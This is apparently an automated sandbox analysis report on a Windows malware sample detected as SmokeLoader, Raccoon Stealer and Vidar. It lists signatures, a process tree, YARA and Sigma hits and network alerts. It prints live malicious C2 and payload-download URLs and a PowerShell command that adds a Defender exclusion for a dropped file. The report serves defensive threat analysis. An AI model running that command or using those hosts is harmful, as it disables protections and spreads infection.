Play interactive tour

Edit tour

Windows Analysis Report SkB6zJ6H3N.exe

Overview

General Information

Sample Name:	SkB6zJ6H3N.exe
Analysis ID:	511734
MD5:	b8d2d644a3ac5df8af9b3aff803f3347
SHA1:	062e29d59604956a4cffd64fc81cd1c3f72b0ff3
SHA256:	c3f8d6b3e497471cc5e1526d59f7068f0655704f98dca59d79a77b81f1cb7fd5
Tags:	exeRedLineStealer
Infos:
Most interesting Screenshot:

Detection

Raccoon SmokeLoader Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected AntiVM3

Yara detected Vidar

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Yara detected Raccoon Stealer

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Found malware configuration

DLL reload attack detected

Benign windows process drops PE files

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Maps a DLL or memory area into another process

Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Sigma detected: Suspicious Script Execution From Temp Folder

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

.NET source code contains potential unpacker

Injects a PE file into a foreign processes

.NET source code contains very large array initializations

Contains functionality to inject code into remote processes

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Adds a directory exclusion to Windows Defender

Hides that the sample has been downloaded from the Internet (zone.identifier)

Checks if the current machine is a virtual machine (disk enumeration)

Tries to harvest and steal browser information (history, passwords, etc)

Sample uses process hollowing technique

Renames NTDLL to bypass HIPS

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Sigma detected: Powershell Defender Exclusion

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Antivirus or Machine Learning detection for unpacked file

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Uses insecure TLS / SSL version for HTTPS connection

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Binary contains a suspicious time stamp

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to call native functions

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

PE file contains an invalid checksum

Extensive use of GetProcAddress (often used to hide API calls)

Detected TCP or UDP traffic on non-standard ports

Contains functionality to launch a program with higher privileges

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

SkB6zJ6H3N.exe (PID: 6372 cmdline: 'C:\Users\user\Desktop\SkB6zJ6H3N.exe' MD5: B8D2D644A3AC5DF8AF9B3AFF803F3347)

SkB6zJ6H3N.exe (PID: 6536 cmdline: 'C:\Users\user\Desktop\SkB6zJ6H3N.exe' MD5: B8D2D644A3AC5DF8AF9B3AFF803F3347)

explorer.exe (PID: 3292 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

97A5.exe (PID: 6264 cmdline: C:\Users\user~1\AppData\Local\Temp\97A5.exe MD5: B8D2D644A3AC5DF8AF9B3AFF803F3347)

97A5.exe (PID: 5464 cmdline: C:\Users\user~1\AppData\Local\Temp\97A5.exe MD5: B8D2D644A3AC5DF8AF9B3AFF803F3347)

5D4.exe (PID: 5344 cmdline: C:\Users\user~1\AppData\Local\Temp\5D4.exe MD5: F57B28AEC65D4691202B9524F84CC54A)

AdvancedRun.exe (PID: 4288 cmdline: 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run MD5: 17FC12902F4769AF3A9271EB4E2DACCE)

AdvancedRun.exe (PID: 5596 cmdline: 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe' /SpecialRun 4101d8 4288 MD5: 17FC12902F4769AF3A9271EB4E2DACCE)

powershell.exe (PID: 4756 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\5D4.exe' -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 4752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

RegSvcs.exe (PID: 6752 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe MD5: 2867A3817C9245F7CF518524DFD18F28)

EDD.exe (PID: 6868 cmdline: C:\Users\user~1\AppData\Local\Temp\EDD.exe MD5: 787AF677D0C317E8062B9705CB64F951)

192F.exe (PID: 3104 cmdline: C:\Users\user~1\AppData\Local\Temp\192F.exe MD5: 73252ACB344040DDC5D9CE78A5D3A4C2)

319A.exe (PID: 4024 cmdline: C:\Users\user~1\AppData\Local\Temp\319A.exe MD5: 9FA070AF1ED2E1F07ED8C9F6EB2BDD29)

AdvancedRun.exe (PID: 1432 cmdline: 'C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run MD5: 17FC12902F4769AF3A9271EB4E2DACCE)

69B5.exe (PID: 6140 cmdline: C:\Users\user~1\AppData\Local\Temp\69B5.exe MD5: 539C39A9565CD4B120E5EB121E45C3C2)

32BC.exe (PID: 5540 cmdline: C:\Users\user~1\AppData\Local\Temp\32BC.exe MD5: D02C5BF9533CCE0E9EA3EAFC2F594A49)

cviueca (PID: 6216 cmdline: C:\Users\user\AppData\Roaming\cviueca MD5: B8D2D644A3AC5DF8AF9B3AFF803F3347)

cviueca (PID: 6212 cmdline: C:\Users\user\AppData\Roaming\cviueca MD5: B8D2D644A3AC5DF8AF9B3AFF803F3347)

cviueca (PID: 6504 cmdline: C:\Users\user\AppData\Roaming\cviueca MD5: B8D2D644A3AC5DF8AF9B3AFF803F3347)

cviueca (PID: 2184 cmdline: C:\Users\user\AppData\Roaming\cviueca MD5: B8D2D644A3AC5DF8AF9B3AFF803F3347)

cleanup

Malware Configuration

Threatname: SmokeLoader

{"C2 list": ["http://xacokuo8.top/", "http://hajezey1.top/"]}

Yara Overview

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\EDD.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x43bf:$x1: https://cdn.discordapp.com/attachments/
C:\Users\user\AppData\Local\Temp\319A.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
C:\Users\user\AppData\Local\Temp\8746.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x4443:$x1: https://cdn.discordapp.com/attachments/
C:\Users\user\AppData\Local\Temp\5D4.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
C:\Users\user\AppData\Local\Temp\89D7.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7ae95:$x1: https://cdn.discordapp.com/attachments/ 0x7af49:$x1: https://cdn.discordapp.com/attachments/ 0x7affd:$x1: https://cdn.discordapp.com/attachments/ 0x7b0b1:$x1: https://cdn.discordapp.com/attachments/

Memory Dumps

Source	Rule	Description	Author
00000021.00000002.450724070.00000000047F1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000014.00000002.368853755.00000000004A0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001A.00000002.404074560.00000000004F0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000007.00000000.294055792.0000000003111000.00000020.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000024.00000003.442845982.00000000048A0000.00000004.00000001.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000014.00000002.368895221.00000000004E1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000004.00000002.308080762.0000000001F51000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001D.00000002.419226513.0000000003190000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000021.00000002.449678502.0000000002C10000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001D.00000003.402440778.0000000003190000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001A.00000002.404878363.0000000001F51000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000004.00000002.307863142.0000000000420000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001D.00000002.419361924.00000000031B1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
Process Memory Space: 5D4.exe PID: 5344	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: 32BC.exe PID: 5540	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
26.1.cviueca.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
4.1.SkB6zJ6H3N.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
19.2.97A5.exe.2cb15a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
28.0.EDD.exe.810000.1.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x43bf:$x1: https://cdn.discordapp.com/attachments/
21.0.cviueca.400000.6.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
20.1.97A5.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
28.0.EDD.exe.810000.2.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x43bf:$x1: https://cdn.discordapp.com/attachments/
22.2.cviueca.2c715a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
28.0.EDD.exe.810000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x43bf:$x1: https://cdn.discordapp.com/attachments/
29.2.192F.exe.3180e50.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
29.2.192F.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
26.2.cviueca.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
21.0.cviueca.400000.5.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
27.0.5D4.exe.3b0000.3.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
20.2.97A5.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
21.2.cviueca.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
27.0.5D4.exe.3b0000.1.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
31.0.319A.exe.d50000.1.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
36.3.32BC.exe.2d741e6.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
31.0.319A.exe.d50000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
21.0.cviueca.400000.4.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
28.0.EDD.exe.810000.3.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x43bf:$x1: https://cdn.discordapp.com/attachments/
18.2.cviueca.2d815a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
36.3.32BC.exe.48a0000.0.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
0.2.SkB6zJ6H3N.exe.2be15a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
4.2.SkB6zJ6H3N.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
31.0.319A.exe.d50000.2.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
21.1.cviueca.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
27.0.5D4.exe.3b0000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
29.3.192F.exe.3190000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
31.0.319A.exe.d50000.3.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
27.0.5D4.exe.3b0000.2.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
36.3.32BC.exe.48a0000.0.raw.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
Click to see the 28 entries

Sigma Overview

System Summary:

Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Show sources

Source: Process started

Author: Oleg Kolesnikov @securonix invrep_de, oscd.community, Florian Roth, Christian Burkard: Data: Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ParentCommandLine: C:\Users\user~1\AppData\Local\Temp\5D4.exe, ParentImage: C:\Users\user\AppData\Local\Temp\5D4.exe, ParentProcessId: 5344, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ProcessId: 6752

Sigma detected: Suspicious Script Execution From Temp Folder

Show sources

Source: Process started

Author: Florian Roth, Max Altgelt: Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\5D4.exe' -Force, CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\5D4.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user~1\AppData\Local\Temp\5D4.exe, ParentImage: C:\Users\user\AppData\Local\Temp\5D4.exe, ParentProcessId: 5344, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\5D4.exe' -Force, ProcessId: 4756

Sigma detected: Powershell Defender Exclusion

Show sources

Source: Process started

Author: Florian Roth: Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\5D4.exe' -Force, CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\5D4.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user~1\AppData\Local\Temp\5D4.exe, ParentImage: C:\Users\user\AppData\Local\Temp\5D4.exe, ParentProcessId: 5344, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\5D4.exe' -Force, ProcessId: 4756

Sigma detected: Possible Applocker Bypass

Show sources

Source: Process started

Author: juju4: Data: Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ParentCommandLine: C:\Users\user~1\AppData\Local\Temp\5D4.exe, ParentImage: C:\Users\user\AppData\Local\Temp\5D4.exe, ParentProcessId: 5344, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ProcessId: 6752

Sigma detected: Non Interactive PowerShell

Show sources

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\5D4.exe' -Force, CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\5D4.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user~1\AppData\Local\Temp\5D4.exe, ParentImage: C:\Users\user\AppData\Local\Temp\5D4.exe, ParentProcessId: 5344, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\5D4.exe' -Force, ProcessId: 4756

Sigma detected: T1086 PowerShell Execution

Show sources

Source: Pipe created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: PipeName: \PSHost.132800202358062022.4756.DefaultAppDomain.powershell

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 36.3.32BC.exe.48a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.3.32BC.exe.48a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000024.00000003.442845982.00000000048A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 32BC.exe PID: 5540, type: MEMORYSTR

Antivirus detection for URL or domain

Show sources

Source: http://sysaheu90.top/game.exe	Avira URL Cloud: Label: malware
Source: http://znpst.top/dl/buildz.exe	Avira URL Cloud: Label: malware
Source: http://privacytoolzforyou-6000.top/downloads/toolspab2.exe	Avira URL Cloud: Label: malware
Source: http://toptelete.top/agrybirdsgamerept	Avira URL Cloud: Label: malware
Source: http://xacokuo8.top/	Avira URL Cloud: Label: malware
Source: http://hajezey1.top/	Avira URL Cloud: Label: malware

Found malware configuration

Show sources

Source: 00000014.00000002.368853755.00000000004A0000.00000004.00000001.sdmp

Malware Configuration Extractor: SmokeLoader {"C2 list": ["http://xacokuo8.top/", "http://hajezey1.top/"]}

Multi AV Scanner detection for domain / URL

Show sources

Source: privacytoolzforyou-6000.top	Virustotal: Detection: 5%	Perma Link
Source: iyc.jelikob.ru	Virustotal: Detection: 12%	Perma Link
Source: mas.to	Virustotal: Detection: 6%	Perma Link

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\192F.exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Temp\319A.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\6DDE.exe	ReversingLabs: Detection: 29%
Source: C:\Users\user\AppData\Local\Temp\75B0.exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Temp\86B8.exe	ReversingLabs: Detection: 13%
Source: C:\Users\user\AppData\Local\Temp\8746.exe	ReversingLabs: Detection: 32%

Machine Learning detection for sample

Show sources

Source: SkB6zJ6H3N.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\6DDE.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\7428.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\cviueca	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\32BC.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\8746.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\75B0.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\89D7.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\eviueca	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\sfiueca	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\8E8B.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Joe Sandbox ML: detected

Source: 21.0.cviueca.400000.1.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 21.0.cviueca.400000.3.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 21.0.cviueca.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 21.0.cviueca.400000.2.unpack	Avira: Label: TR/Crypt.ZPACK.Gen

Source: unknown

HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.7:49829 version: TLS 1.0

Source: SkB6zJ6H3N.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\AppData\Local\Temp\192F.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.7:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 81.177.141.36:443 -> 192.168.2.7:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.133.233:443 -> 192.168.2.7:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.7:49850 version: TLS 1.2

Source:	Binary string: C:\vojos\fuw.pdb source: 192F.exe, 0000001D.00000000.392199023.0000000000417000.00000002.00020000.sdmp, sfiueca.7.dr
Source:	Binary string: C:\kelut\takemiv\botuw31-mejosek-li.pdb source: 69B5.exe, 69B5.exe.7.dr
Source:	Binary string: C:\pewa75 firecogiw\gugegowul49\geresegate_micicipu.pdbp source: 8E8B.exe.7.dr
Source:	Binary string: c:\Projects\VS2005\AdvancedRun\Release\AdvancedRun.pdb source: AdvancedRun.exe, 00000020.00000000.407285900.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe, 00000023.00000002.433249054.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe, 0000002A.00000000.454048622.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe.31.dr
Source:	Binary string: C:\pewa75 firecogiw\gugegowul49\geresegate_micicipu.pdb source: 8E8B.exe.7.dr
Source:	Binary string: C:\moliyuwod_vofadarecayu\dezuvacux.pdb source: SkB6zJ6H3N.exe
Source:	Binary string: cC:\moliyuwod_vofadarecayu\dezuvacux.pdb` source: SkB6zJ6H3N.exe
Source:	Binary string: C:\lewusukoviv.pdb source: 7428.exe.7.dr
Source:	Binary string: wntdll.pdbUGP source: 192F.exe, 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, 1105.tmp.29.dr
Source:	Binary string: wntdll.pdb source: 192F.exe, 1105.tmp.29.dr
Source:	Binary string: XC:\meyobiti_bigenubixa\zicax4_tupewacuz\mepuyajuyen.pdb` source: 32BC.exe.7.dr
Source:	Binary string: WC:\kelut\takemiv\botuw31-mejosek-li.pdb` source: 69B5.exe, 00000021.00000000.408654637.0000000000401000.00000020.00020000.sdmp, 69B5.exe.7.dr
Source:	Binary string: C:\lewusukoviv.pdb` source: 7428.exe.7.dr
Source:	Binary string: C:\tosofom\yopuk.pdb source: 75B0.exe.7.dr
Source:	Binary string: C:\siyihoy haxuhanetaxohe\xepokupajalo99\lave.pdb` source: 6DDE.exe.7.dr
Source:	Binary string: C:\meyobiti_bigenubixa\zicax4_tupewacuz\mepuyajuyen.pdb source: 32BC.exe.7.dr
Source:	Binary string: C:\siyihoy haxuhanetaxohe\xepokupajalo99\lave.pdb source: 6DDE.exe.7.dr

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download) 192.168.2.7:49841 -> 194.180.174.181:80
Source: Traffic	Snort IDS: 2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download) 192.168.2.7:49863 -> 194.180.174.181:80
